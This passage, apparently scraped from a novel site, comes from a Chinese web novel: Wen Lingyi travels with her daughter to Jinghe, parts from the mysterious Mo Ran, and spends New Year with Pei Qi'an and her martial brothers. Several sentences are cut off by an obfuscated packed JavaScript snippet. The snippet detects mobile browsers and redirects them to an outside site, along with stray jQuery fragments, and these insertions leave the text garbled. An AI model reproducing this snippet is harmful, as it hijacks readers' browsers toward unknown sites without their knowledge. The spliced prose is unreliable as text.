他扑通就给裴祈安跪下了:“王爷,我的兄弟们都是为了活下来,卧龙山里还有上前的老弱妇孺,求您网开一面,我带着这些兄弟们老老实实干活,只求王爷能让山里的老弱妇孺都吃饱肚子。” “给你磕头了。”马四是一点儿不含糊,哐哐磕头。 裴祈安看卧龙山的人都跪下了,伸出手扶着马四起身:“也行,既往不咎,但有人敢不老实,老账新账一起算,旁边等着。” 马四带着自己的人都到旁边蹲下来,手里的兵器都扔得远远地。 裴祈安请白长鹤和崔东昊到旁边,低声说了半天的话,崔东昊这才点头,从怀里取出来图纸递给裴祈安。 白长鹤带着自己的人离开,他要往入海口去接应,粮食啊,那都是活命的粮食,摄政王说不能落在朝廷手里,这事儿只能让漕帮做。 只是白长鹤心里纳闷,难道摄政王也不为朝廷办事了吗? ***漠北。 温令仪看着怀里的娇儿睡得正香,抬头和温夫人说:“母亲,我们也该启程回京了,若是太晚,只怕会横生枝节。” 温夫人担忧:“你这还没满月,若是长途跋涉身体受不了啊。” “外祖母。”小囡囡兴冲冲的从外面跑进来:“我和娘亲不回京,爹爹来信了,我们从泾水河去找他,他在泾河府等我们。” 温夫人看温令仪。 温令仪点头:“这样安排最好,京城那边先班师回朝,江南重地,要安顿好才行。” “我的儿啊。”温夫人握着温令仪的手,欲言又止,能说什么呢?不是早就走上了不归路吗? 第273章 怪不得要做她的女儿 小囡囡陪着温令仪,看似寻常的马车行走在官道上,明着、暗中的护卫可是不少。 虽说是寻常的马车,但普通百姓看到也会害怕,能坐四马架辕的马车,非富即贵。 马车比寻常马车大不少,中间有个小小的隔断,奶娘抱着小公子在里间,温令仪和小囡囡坐在外间。 打从生下了这个孩子,小囡囡就不肯离开温令仪身边了,温令仪一开始还以为是萧玄策觉得大势已定,放了小囡囡回家,可一问才知道,萧玄策已经去了京城。 “娘亲,我们去泾河府,京城那边怎么安排的?总不能若桃姑姑也去泾河府吧?”小囡囡问。 温令仪点头:“必定是京城有变数,否则你爹爹也不会如此安排,如今泾河府在治理泾水河,我们去与不去都是一样的。” 小囡囡双手捧着小脸,趴在软榻上:“我觉得也是,罗政舅舅班师回朝,我爹可能是吃醋了,怕罗政舅舅对你穷追猛打。” 这话把温令仪逗笑了:“你还是个小丫头,怎么就知道穷追猛打了?不得胡说,少不得要学一学规矩了。” “我可不学那些老古董的规矩,就是找不到墨染了,否则我可以跟着墨染去闯荡江湖,大夏如今的江湖比朝廷还热闹好几倍。”小囡囡翻了个身,换了个舒服的姿势躺好:“还有啊,太外祖父一直都在奔波,那些个占山为王,落草为寇的百姓,戾气可大了呢。” 提到这个,温令仪就想到那些揭竿而起的义军,确实可怜的很,本来是想着到边关保家卫国,可竟因为没有粮饷,饿着肚子回去了,有戾气是正常的,只不过朝廷如今动荡不安,永元帝也不知道心思都用在什么地方了,不想着抓住如今大胜的好时机,营造出百废待兴的架势,让百姓心安,反倒是看不出任何动静。 “娘亲,我怀疑当今皇上是个怪人。”小囡囡小声说。 其实,小囡囡知道的更多,比如当今皇帝是个变*态,讨厌女人,也不喜欢男人,但喜欢自己的便宜爹,如果只是这样都不会给他这样的评价,其人有一个院子里,每天都有被虐打致死的人,单就这一点,**都是轻的,遭天谴的玩意儿。 不过这样的话不能直接说给娘亲听,无可考证,也不能考证。 当年的镇国公府是在温令仪嫁到晏家的第七年才被灭门的,如今才过去五年,虽说是改变了所有事情的因果,可没人改变当今皇上,并且所有发生的事情都在潜移默化的加速大夏的灭亡,也同样在加速永元帝崩坏的进程。 温令仪抬起手顺着小囡囡的发顶:“裴明熙,你的心智远超同龄人,也已经渐渐长大了,万万不可口无遮拦。” 小囡囡心里一哆嗦,体会到了被母亲叫全名的恐惧,立刻贴进了温令仪的怀里:“娘亲,是女儿错了。” “大夏的兴亡并非关乎一人一事,更不是私怨和世仇,关乎的是大夏千千万万的百姓,若没有天下为公的心,岂不是跟当今皇上是一类人?”温令仪柔声:“不管是你,还有你弟弟,你们都是裴祈安的孩子,裴祈安所求若只是报仇,那报仇之后,天下可以拱手让贤明之人,总不能因为要报仇,就把这些本就过得极为艰难的百姓架在火上烤。” 小囡囡沉默了。 她从最初穿书的兴奋中缓缓地沉静了下来,她知道很过原本的情节,改变了很多本该发生却对便宜爹娘不利的事,沾沾自喜是有的,天下在握的感觉也是有的,却独独没有温令仪这份心思。 是啊,往后的路,就算知道终点在哪里,可怎么走,如何走,自己已经不敢说能掌控了。 她从来不是局外人,更不是旁观者,这一切都是自己要经历的事,怎么就把这些都抛诸脑后了呢。 “娘亲,若是让你成为母仪天下的人,你会做什么?”小囡囡抬头看着温令仪。 温令仪缓缓地吸了口气,垂眸看着怀里的女儿:“娘亲没想过母仪天下,若真能选,更愿意去药王谷,大开山门,悬壶济世。” “可是,我爹不会放你走的。”小囡囡抿了抿嘴角:“其实,你们之间的缘分纠缠,到了只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123147|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容下彼此的地步。” 温令仪摇头:“世上最易变的是人心,共苦的夫妻比比皆是,但同甘到白头的眷侣有几人呢?我的女儿也会长大,也会遇到心仪的男子,但无论到任何时候都不可满心满眼都是别人,寄托外物不如向内心求索,唯有如此才能任凭雨打风吹,都不会动摇了自己的根基。” 小囡囡暗暗咂舌,怪不得自己会穿到书里做她的女儿,这样的思想真是太超前了,简直跟自己的想法一模一样。 “不然,就像你的姨母,夫非良人,子女更是不孝,难道就不活了吗?由此可见,唯有对自己好,才能一切都不在乎,夫敬子女孝,那是锦上添花,至亲尚且如此,遑论两旁世人。”温令仪说到这里,叹了口气,她头一胎生下囡囡,随后苦难接踵而至,两辈子都没想过该怎么为自己活着。 但这一胎生下来后,心境真的是天翻地覆的改变了,世间万事万物都在眼前清晰了。 如果能选择,那就回去药王谷,如果裴祈安不肯放自己离开,留下也无妨,日子无论在哪里过,都是自己在跟自己过。 “娘亲,你一定会成为最了不起的女人。”小囡囡笃定的说。 温令仪笑了:“囡囡不是说知道所有的事吗?” “我知道的,都改变了,以后的事不知道了呢。”小囡囡坐好,看着温令仪:“娘亲,这不是重点,上一世爹爹死在小宛,母亲死在晏家,而我孤苦无依早亡,你看现在,弟弟都出生了,我们已经改变了原本的命运走向了啊。” 温令仪抬起手捏了捏小囡囡的脸蛋儿:“那是我们宿福深厚,苍天垂怜,余生就多为苍生做事。” “听娘亲的。”小囡囡笑眯眯的说。 其实,温令仪越来越理解上官子玉了,那个命运多舛,又心怀大义的女子,用一生恪守诺言,若是有机会,必定要做完她没来得及做完的事。 入夜。 温令仪敏锐的闻到了血腥味儿,猛地睁开眼睛,就见一个人影坐在蒲团上:“多谢救命之恩。” 第274章 此后路途漫漫,多保重 “你倒是机敏。”墨染出声。 温令仪又惊又喜:“墨染,是你!” “不然呢?”墨染拿出来火折子,点亮了灯,看温令仪把两个孩子都放在里侧,犹如母鸡护着小鸡仔一般,忍不住勾起唇角:“你胆子倒也大,去泾河府这条路不**生。” 温令仪给两个孩子盖了盖被子,下了床榻,坐在墨染对面的床榻上:“何止这条路不安生,大夏哪里安生?只怕唯有京城里的富贵人们,惯会掩耳盗铃了。” 墨染噗嗤笑了:“没想到,令仪竟颇有些侠义心肠。” “只可惜,没有行走江湖的本领。”温令仪喜欢墨染身上那股说不清楚的劲儿,江湖儿女多洒脱,她打从回到京城到颠沛流离这些年,越发喜欢这份洒脱了,反倒是京城那些囿于后宅的贵女们,看似享受了世间人人向往的荣华富贵,实则犹如金丝雀,心里都是那点子算计,成为附庸之物,都是来到人间走一遭,只因生了女身,就只能随波逐流,多可叹。 墨染微微偏头:“你知道,你这种思想对男人们是多大的挑战吗?” 温令仪挑眉。 “他们的权威被挑战,会群起而攻之,因为一旦让女性觉醒了,会让他们失去了舒适圈。”墨染说到这里,问温令仪:“我的意思,你能理解吗?” 温令仪脸色微微红了:“理解的不多,不过我明白是什么意思。” “夜长得很,我给你讲一讲我知道的男女地位关系。”墨染取出水囊喝了一口水,开始跟温令仪讲女*权,并非是为了对抗男为尊而出现的女为尊的对立,而是统一和谐的另一种相处模式。 温令仪从最开始的震惊,到后来频频点头,心里升起了难以名状的情绪,想要一个墨染说的那样的世界,想要让女人活的有尊严!更有价值! 天色微明,墨染看着是双目湛湛,丝毫没有睡意的温令仪,忍不住勾起唇角笑了:“喜欢这些?” “喜欢。”温令仪拉住了墨染的手:“你让我知道了女人可以有这么多活法。” 墨染垂眸看着温令仪纤细的手,能感受到她掌心里的薄茧:“因为你会做成很多事,你是个了不起的女子,或许这是一个漫长的过程,可只要有一个人站出来,带领世间女子走上这条路,必定会有前仆后继的人。” 温令仪看着墨染:“你能陪着我一起做这件事吗?” “不能。”墨染摇了摇头:“这个世界终究要回到正轨上去,而我护送你到泾河府,是了缘,温令仪,你能重生,不止是为了改变自己的命运,改变温家的命运,还有更多的事要你去做。” 温令仪抿紧了唇角,墨染和小囡囡是一样的人,至少来历不凡,虽说聚散随缘,可这样的奇女子不能成为一辈子的姐妹,多遗憾! “囡囡也会走吗?”温令仪看着墨染,她克服心里的恐惧,问。 墨染离开是难过的事,但温令仪不会有撕心裂肺的痛,可小囡囡不行,那是自己十月怀胎的人儿,哪怕换了芯子,那也是自己的女儿啊,从失而复得那天开始,才是她们母女隔着一世再团聚啊,所以,囡囡就是自己的女儿。 墨染看了眼还睡着的小囡囡:“她不会走,如你一样,这也是她的人生。” 温令仪悬着的心终于放下了:“墨染,我又有了一个孩子,你帮取个名字怎么样?” “裴祈安可不会答应,我给小公子取个小字吧。”墨染想了想:“叫不染。” 温令仪喃喃:“不染,不染。” “尘世如墨池,凡俗似浓稠的墨汁,污浊且黏腻。多少人深陷其中,早已面目模糊,连骨骼亦被染得墨黑;又有多少人只觉已浸得透透的,便索性沉溺于墨色,心安理得地沉沦其中了。我希望小公子能不染于尘,活成一道光,为这天下人照亮国泰民安的路。”墨染说。 温令仪惊喜的抬头:“对,这也是我的期待,墨染,你深知我心。” “也是千千万万百姓的心。”墨染说:“令仪,接下来的路,我为你准备一些礼物,希望多年以后,能在你的努力下,把我想要看到的一切都变为现实。” 接下来的路程,温令仪只期待着能慢点儿,再慢点儿。 墨染口述,温令仪执笔,小囡囡坐在旁边调息打坐,墨染把自己一身武功都传授给了小囡囡,不过习武从来都是日积月累的结果,所以小囡囡只能拼命努力领悟,她比温令仪更清楚,墨染要离开了。 每逢县、府,温令仪都要停留两三日,把所有成稿送去众合商会,让商会的人护送回京,送到镇国公府上,箱子封存,只有温令仪能亲自打开。 补齐笔墨纸砚,再出发。 半个月,像眨眼就过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123148|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了似的。 “前面就是泾河府了。”墨染看着温令仪,勾起唇角:“这几日,你憔悴了许多。” 温令仪摇头:“哪有,墨染给我看到了一个不一样的人间。” “送你入城。”墨染说。 温令仪有些紧张:“然后你就要离开了吗?我们还会再见吗?” “见到我并不是好事,我出现的地方必定秩序混乱,百姓生不如死,也必定会有血光之灾,白骨累累。”墨染无奈的苦笑:“所以,我们不要再见,你是我注定要遇到的千千万人里的一个,但你最聪慧,一点就透。”墨染说。 温令仪说:“那留一晚,不醉不归可好?” 墨染想了想,点头应允。 泾河府的小院里,温令仪让奶娘照顾不染,小囡囡把自己武学宝典都装到箱子里,寸步不离的跟着墨染,一句话不说,却拉着墨染的衣襟,不舍又留不下,她懂。 温令仪亲自下厨,从早晨开始忙,忙到了夕阳西下,都不肯从灶房里出来,桌子上摆满了各种菜肴,可还觉得不够。 墨染斜倚在灶房的门框上,偏头看着忙碌的温令仪:“我们交际不多,别太难过。” 温令仪抬头笑了:“不难过,只是你从这里离开后,怕是吃不到这里的小吃和点心了,每一样都尝一尝,若是遇到难处就想一想今天。” 墨染看着温令仪,她是个温暖的人,真好。 一桌席面,两坛女儿红,温令仪和墨染相对而坐。 墨染侃侃而谈,温令仪笑眯眯的听着,不知不觉两坛酒都喝光了,温令仪摇摇晃晃去取酒,又是两坛酒。 “温令仪,别让我失望。”墨染说。 温令仪重重的点头,天要亮了,温令仪终是忍不住红了眼眶:“墨染,此后路途漫漫,多保重。” 墨染抬起手给温令仪擦眼泪:“放心吧,我也许有一天会停下来,我们没有机会再见面,但你在这里。”说着,拍了拍自己的心口。 温令仪趴在桌子上哭出声来…… 墨染没劝,而是起身飘然离开,在门口看到坐在小凳子上睡着的小囡囡,这小丫头就守在这里,真是个可爱的小家伙。 “系统,启动火种计划,子系统赠与裴明熙。”墨染说:“唯有她能继续守护这个世界,守护传承不断。” 第275章 怎么认得萧玄策呢? 墨染走了。 一阵清风拂过。 温令仪走到门口,轻手轻脚的抱起来了小囡囡,转身往回走。 离别似乎没有多痛苦,只是觉得这个人来过又走了,心里就空了一块,可不疼不痒,更没有撕心裂肺。 “娘亲。”小囡囡乖顺的像是个猫儿似的,用力的靠进温令仪的怀里。 温令仪知道小囡囡是难过的,在这个世上,小囡囡或许非常孤独,因为能被她瞧在眼里的人太少,所以墨染就格外的珍贵,这种感觉她理解。 比如,重生后发现叶染秋是重生的,晏明昭是重生的,这两个人的重生让自己觉得,有些人能抓住机会,有些人就算是给了她机会又如何?还不是潦草的结束了这来之不易的一生? “囡囡,你还有方静言。”温令仪说。 小囡囡哽咽的嗯了一声,她确实还有一个方静言,可墨染临别的时候,赠了一份厚礼,那个脑海里滴滴的声音,像是墨染在对自己说:再见,再也不见。 萍水相逢,蒙受深恩,却连一句恩师都没叫出来,小囡囡心里是难过的,这种难过不是方静言就能平复的。 “宿主,我是位面修复子系统,协助主系统保传承不绝,系统内有所有书库,尽可取用,有文、武传承,若要研习,系统会自动生成教**师父。” 小囡囡没吭声,她知道墨染是位面修复的人,如今自己得到的子系统甚至都没有一个任务给自己,是资源库,是墨染完全打开的资源库,任凭自己取用。 她要让这个世界变成完美的世界,或许那样,墨染能感知得到,自己一直都很努力。 拿定主意,小囡囡的心情就平复下来了,并且发现人不能失去目标。 在西凉被瓜分,温家手握兵权,温令仪和裴祈安都逃过死劫后,小囡囡发现自己没有目标了,没有目标的人就会胡思乱想且都是无用的,像是没头苍蝇一般。 现在不同了,她要辅佐娘亲把这个世界变得更好,毕竟墨染留给娘亲的不止是思想,还有各种书籍,那也是传承,娘亲在明,自己在暗,更是一个在前一个在后,就不信到自己这副身体的生命终结时,还能做不出这件事。 温令仪没有难过的机会,因若桃带着长姐、林嬷嬷她们来了,还带来了小李氏。 这样的安排让温令仪一点儿后顾之忧也没有,看到小李氏,就想到了小张氏,当年一起进府照顾小囡囡的奶娘,只不过每个人的命数不一样,自己利用了小张氏,同时也给了小张氏报酬,是她在原本的生活里,永远都得不到的财富。 小李氏和从漠北带来的奶娘一起照顾不染。 温令仪、若桃、温令容和林嬷嬷四个人坐在书房里,仔仔细细的对了一遍京城的情况。 “姐姐,这狗皇帝脑子比我还笨,还以为能当皇帝的人,那可是世间最最厉害的呢。”若桃一脸不屑:“没想到,竟然长了个猪脑子。” 温令仪笑出声来:“本来是个聪明人,只不过变数太多。” 温令容看温令仪圆润了许多,一直以来都提着的心归了原位,有些话当着若桃和林嬷嬷的面说不出口,她琢磨着姐俩在一起时候再说。 林嬷嬷是心疼的,小姐有一次临盆产子,跟上回比起来倒是安生了不少,可到底这个孩子要藏住了,否则名声可就不保了,到如今摄政王也没有迎娶小姐的意思,真不知道这样的日子什么时候是个头。 碧桃和海棠没有那么多心思,能见到小姐就高兴的很,至于小公子,当主子伺候着就行呗。 “若桃接下来就可以跟在我身边了。”温令仪说:“京城的事都无需我们操心,自是有人做的。” “这边来了很多人,摄政王是个狠的,附近的山匪都自动下山了,还跑去开渠修堤坝,也就是江南没那么寒冷,要是像梅山似的,这冻土三尺,挖开可不容易。”若桃说:“姐姐,你不着急回京吧?” 温令仪当然不着急回京,一来自己现在身体还需要将养,再者谁知道回去京城,永元帝会不会闹出什么幺蛾子,点了点头:“不着急。” “那我回去药王谷。”若桃笑眯眯的说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温令容这才把太后出殡当日的事遇到了陈承嗣的事说了,还不等说完,就被打断了。 “陈家,真是留不得。”温令仪脸色瞬间阴沉下来了,有些人就像是草原上的鬣狗,好像活着就是为了占便宜,找任何机会窃取别人的成果。 温令容给温令仪倒茶:“小妹,他们如今和泥有什么区别呢?不值得为了那些烂人,给温家染上污名。” “长姐,这件事跟萧玄策有什么关系?”温令仪微微蹙眉,原以为萧玄策放小囡囡回来了,就应该踏踏实实的建他的国,心也真够大了,半数西凉都归他所有,不去大展宏图,跑来大夏京城看热闹吗? 温令容也没想明白:“我也觉得奇怪,他杀了陈承嗣的妾室,还把当年温家陪嫁的丫环婆子杀了,被陈家抢去的铺面宅子放火烧了,这还不算,那些嫁妆也都接济了穷人,反正就是没有给陈家留下一个铜板。” “噗嗤。”温令仪笑出声来,抬起手压了压额角:“难道他还有侠义心肠了?” 温令容摇头:“更奇怪的是他竟跑来问我的心意,希望我跟他回去他的国家。” “啥?”温令仪笑容僵在脸上,打量着温令容:“长姐,他想要和温家缔结姻亲关系?” 温令容苦笑:“我是那么拎不清的人吗?萧玄策是什么身份?就连陈承嗣那样的人都差点儿要了我的命,我啊,只想着往后余生安稳度日,等咱们温家都安生下来了,我可以去漠北。” “应该还另有隐情。”温令仪可不觉得萧玄策是登徒子,再者长姐也不是让人心想轻薄的人,能提出来这样的要求,不可能是临时起意,那到底是为什么呢? 温令容说:“这次我们从京城往泾河府来,一路上护送的人都带着面具,我怀疑是萧玄策。” “情不知何所起,一往而情深,也未尝不可能啊。”温令仪说。 温令容却正色:“小妹,切不可有这般想法,当年我们温家受制于天家,家中长辈为了给我博出路,不得不下嫁,如今温家虽不受制于天家,可当今皇上不知道啊,况且温家手握兵权,这兵权在乱世就如同催命符一般,任何靠近我们温家的人,都会有目的的。” “好啦,长姐,不用太紧张,我会查一查的。”温令仪本就是安抚温令容,姑且不说萧玄策的目的,但就长姐如今寡居,二十出头难道就要一个人终老吗?自己可以,但是长姐不行,太让人心疼了。 温令容也是想要让温令仪查一查,毕竟自己身边真没有可用的人,包括仆从也没有置办,许多往事过去了,自己可以放下,但心寒哪里是一时半刻能缓过来的呢? 入夜,裴祈安才敢来。 温令仪知道他一定回来,所以没急着歇下,而是在看墨染留下的那些书。 “阿宁。”裴祈安进门,快步到温令仪跟前,先把人拥入怀中,那急切的心情才算安稳了些许,低头:“长途跋涉,辛苦了。” “不辛苦。”温令仪能感受到裴祈安的寒气,外面的天气阴暗潮湿,他又急着赶过来,必定没有用过饭。 吩咐碧桃摆饭,让海棠准备浴汤,取出来给裴祈安准备的衣服:“去洗漱。” “好。”裴祈安满心欢喜的抱着衣服去洗漱了,心里激动地不成样子,瞅瞅,这就是有媳妇的好处。 沐浴更衣后,裴祈安用饭,温令仪在旁边陪着。 “墨染一路护送我们来泾河府的。”温令仪说:“她给了我很多书,路上也耽搁了一些日子,若不然会早点儿到的。” 裴祈安看温令仪手里的书卷,那娟秀的字体一看便是温令仪的字迹:“墨染是个很特别的人。” “是啊,很特别。”温令仪没有继续说墨染,而是话锋一转:“萧玄策更特别。” 裴祈安蹙眉:“你觉得他特别?” “你看看你。”温令仪被裴祈安突然紧张的样子逗笑了,白了他一眼:“胡思乱想倒本事了得。” 裴祈安清了清嗓子掩饰尴尬,他可不觉得自己是胡思乱想,萧玄策那厮都敢跟自己抢女儿,要抢自己女人,怕也是做得出来的! 不过转念一想,又觉得自己可笑,关心则乱,萧玄策盯上的可不是自己的妻儿,而是温家嫡长女呢。 “长姐跟你说的?”裴祈安放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”温令仪在想,永元帝知道裴祈安身体早就好了,会怎么样,还挺期待呢! 第277章 除夕夜话 裴祈安但笑不语,他着急,显然温令仪也着急了。 昏招频出,对温家两个女儿如此盘算只不过是表象,皇上不放过温家的态度已经摆出来了,若非国无大将,若非温家军功勋满身归来,皇上只怕连掩饰都不愿意了。 所以,温令仪生气是多寻常的事! 自家女人想要闹腾,尽可去闹腾,毕竟自己有绝对的实力为她兜底。 沐白和顾清弦来到泾河府的时候,正是除夕。 温令仪早早的准备了席面,几次都焦急的去外面眺望,终于看到了马车,兴奋的扬起手。 顾清弦看着温令仪身边连着的小囡囡,眉开眼笑:“我的义女都长这么大了。” “义女?”沐白翻了白眼儿:“你早就知道?” “知道什么?”顾清弦狐疑的看着沐白。 沐白冷哼:“这是师妹的亲生女儿,父亲是裴祈安!” 听到这话,顾清弦愣了一瞬,回想起当初十里亭送别时候,裴祈安带着温令仪来了,当时自己要带着孩子出海,温令仪舍不得那么小的孩子颠簸,裴祈安有意无意的想要让温令仪把孩子带回去。 “这厮!狡诈如狐!”顾清弦脱口而出。 沐白知道五师兄不知情,倒也没说什么,马车到了门口,师兄弟二人下了马车。 “五师兄。”温令仪上前,笑着说:“真好,终于回来了。” 顾清弦有一肚子的话要问,但刚见面,不是说话的时候。 小囡囡跑过来,张开手臂:“义父。” 顾清弦弯腰把小囡囡抱在怀里,偏头对温令仪说:“本打算两年就回来,不想远走,奈何一路上犹如探宝一般,没想到一转眼五年过去了。” “五师兄是发现好东西了吗?”温令仪陪着两位师兄往院子里来。 顾清弦点头:“吃的,都是良种,就是不知道到了咱们大夏能不能种出来。” 小囡囡抿了抿嘴角,她想到了方静言,这些种子一旦交到方静言手里,哪有种不出来的道理? 进屋落座,温令仪让林嬷嬷摆了席面,温了酒。 裴祈安带着宋玉承也到了,宋家下一任家主,这几个人坐下来,聊得十分投机,温令仪陪着长姐,林嬷嬷和碧桃、海棠,坐了一桌在里间。 “娘亲,梨雪和棠雨都没来,我想她们了。”小囡囡说。 碧桃接过去话茬儿,回道:“小小姐有所不知,棠雨和梨雪留在京城是为了照顾买卖铺面,她们两个人啊,如今可厉害得很,独当一面是没问题的。” 小囡囡笑眯眯的点头:“那以后我回到京城,不管在哪里都带着她们娘仨。” 提到了梨雪和棠雨,温令仪看了眼女儿,她是想要把容氏娘仨都带在身边,如此也好,棠雨和梨雪过了这个年都十三岁了,也确实能独当一面,容氏这些年不管发生什么事都安安静静的守着,放在小囡囡身边当个掌事的嬷嬷也放心,这么一想,回去京城要做的事,还真不少呢。 夜深,除夕夜要守岁,温令仪也终于得机会跟五师兄坐下来说说话了。 顾清弦一直都不在京城,可当初离开京城之前,是知道小师妹的日子过得多苦,多难的,如今再看小师妹,想到小囡囡竟是妹妹的亲生女儿,顾清弦就特别想要找裴祈安打一架! “五师兄,这几年发生了很多大事。”温令仪看着顾清弦,心里是有些忐忑的,众多师兄中,沐白是跟自己年龄相近,最护着自己的人,大师兄年长,五师兄亦是,在师兄面前总有一种怕怕的感觉,甚至比在师父跟前都要紧张三分。 顾清弦清了清嗓子:“小师妹,你从小生在富贵人家,山中学医虽苦,但是师兄弟们都把你捧在掌心疼着,打从下山完婚到现在,苦吗?” 温令仪突然心里一阵泛酸,低下头:“若说不苦,心里都委屈呢。” “世间事多不如意,所以要带眼识人,女子托付终身,犹如再次投胎,一次错不能次次错,更不能将错就错,若觉得无安身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怕五师兄打我。”裴祈安笑着抬起手理了理温令仪耳边的发丝:“去看焰火。” 温令仪回头,哪里还有顾清弦的影子? “这?”温令仪哑然。 裴祈安从架子上取下来斗篷,小心翼翼的把温令仪裹在里面,低声:“你的师兄们都有着不弱的功夫,肯定是看我一眼都觉得拳头痒痒,才会不告而别。” 温令仪抬眸看裴祈安,发现他鬓边竟有了几根白发,抬起手抚上去:“可是,谁又知道你为了能让我和孩子们安稳度日,日夜操劳了多久呢?” 裴祈安系带子的动作顿住了,张开手臂把人拥入怀中,温令仪的委屈,人人心疼,自己的付出却少有人见,可那又如何?自己的女人最疼自己了呢,所以付出得多吗?远远不够啊。 “走,我们去看焰火。”温令仪握着裴祈安的手,两个人出门去。 裴祈安早就准备好了两匹马。 “去哪里?”温令仪疑惑的看着裴祈安,看焰火而已,难道还用骑马不成? “堤坝。”裴祈安弯腰抱着温令仪上了马背,翻身骑在自己的马背上,牵着温令仪的马缰绳,偏头:“堤坝完工在即,很多人都留在那边了。” 两匹马并驾齐驱,消失在城门口,半个时辰后,温令仪被眼前的一幕惊呆了。 灯火通明,亮如白昼,堤坝上有篝火,长长的篝火像是火龙,锅灶里咕嘟咕嘟的冒着泡,肉的香味儿能飘出去很远,酒坛摆成了长龙阵,在堤坝上劳作许久的工匠们,此刻一个个都笑容满面,大口吃肉,大碗喝酒。 篝火两边,很多人各显神通,杂耍的人使出来浑身解数,逗得众人开怀大笑。 “祭天!”有**声吆喝了这么一句,放在堤坝上的十几面大鼓同时被雷动,所有人都跪在地上,祷告上苍,乞求来年风调雨顺,堤坝永固万年。 “那是?”温令仪指着十几个大汉,他们手里持着特别的工具,赤膊上前,铁水沸腾:“打铁花啊?” 温令仪惊奇的看着远处的架子,兴奋的两只手合拢在胸前,也在祈祷上苍,看看这些百姓,他们在祈福,为泾水河两岸的百姓祈福。 铁花洋洋洒洒,叫好声络绎不绝,裴祈安和温令仪没有靠近这些人,就在不远处看着眼前的这一幕。 “江南,会成为我们的第一步。”裴祈安说。 温令仪偏头看裴祈安,这个男人啊,从让温家执掌兵权,到出使西域三十六国诈死,一直到今天,亲自督导堤坝建成,水渠竣工,每一步都在因时而动,尽力而为。 都说有志者事竟成,他所求必定如愿。 铁花之后,焰火把天空照亮,在热闹和喧嚣中,二人拨转马头回程:“初五启程回京。” 温令仪轻声:“好。” “我已经让人把五师兄带回来的良种都送去了样本给方静言,如果方静言觉得可行,会很快来到江南,明年的秋天,江南必定是富足的!”裴祈安说:“到那时候,我们会大婚,我要风风光光的迎娶阿宁。” 温令仪偏头看裴祈安,天黑,看不清表情,但温令仪知道裴祈安现在一定眼里有光。 回去没着急,两个人信马由缰。 “萧玄策也来了泾河府,我若是没猜错的话,他对长姐势在必得。”裴祈安说:“明日,萧玄策会光明正大的登门拜年,阿宁若有想说的,想做的,尽可放手去做,不用客气。” 温令仪微微蹙眉:“玉郎的意思呢?你也觉得长姐和萧玄策可以走到一起吗?” “不觉得,我也好,阿宁也好,都代替不了他们二人,长姐若是不愿意,这婚事就绝不能成。”裴祈安伸出手握住温令仪的手:“若靠牺牲女子才能完成结盟,那不如刀兵相见,不过若两情相悦结为夫妻,我们乐见其成,过往不提,往后,我们所有人都是长姐的底气。” 温令仪回手握住了裴祈安的手:“玉郎,我懂了。” 翌日。 温令容心神不宁的坐在屋子里,犹如一颗心被架在火上炙烤着,她就没想过世上还有如此不要脸的男人,夜入闺房,非要陪着守岁,临走时还说今日登门,表明心迹,等她回京,就登门提亲! 也不问问自己愿意吗? 可这样的话怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到底是自家孩子,瞅瞅,多拎得清!不过,巫医族的神女是怎么回事? 第279章 义父,你跑什么啊? 裴祈安、宋玉承都坐在堂屋里,萧玄策正襟危坐,尽管没有提温令容,可在场的三个人里,除了宋玉承外,两个人都心知肚明,之所以萧玄策会登门,主要是对温令仪的敬重,毕竟是他的救命恩人,如今自己要迎娶温令容,多少会有点儿趁人之危的意思。 若是温令仪都不同意的话,这门亲事难成。 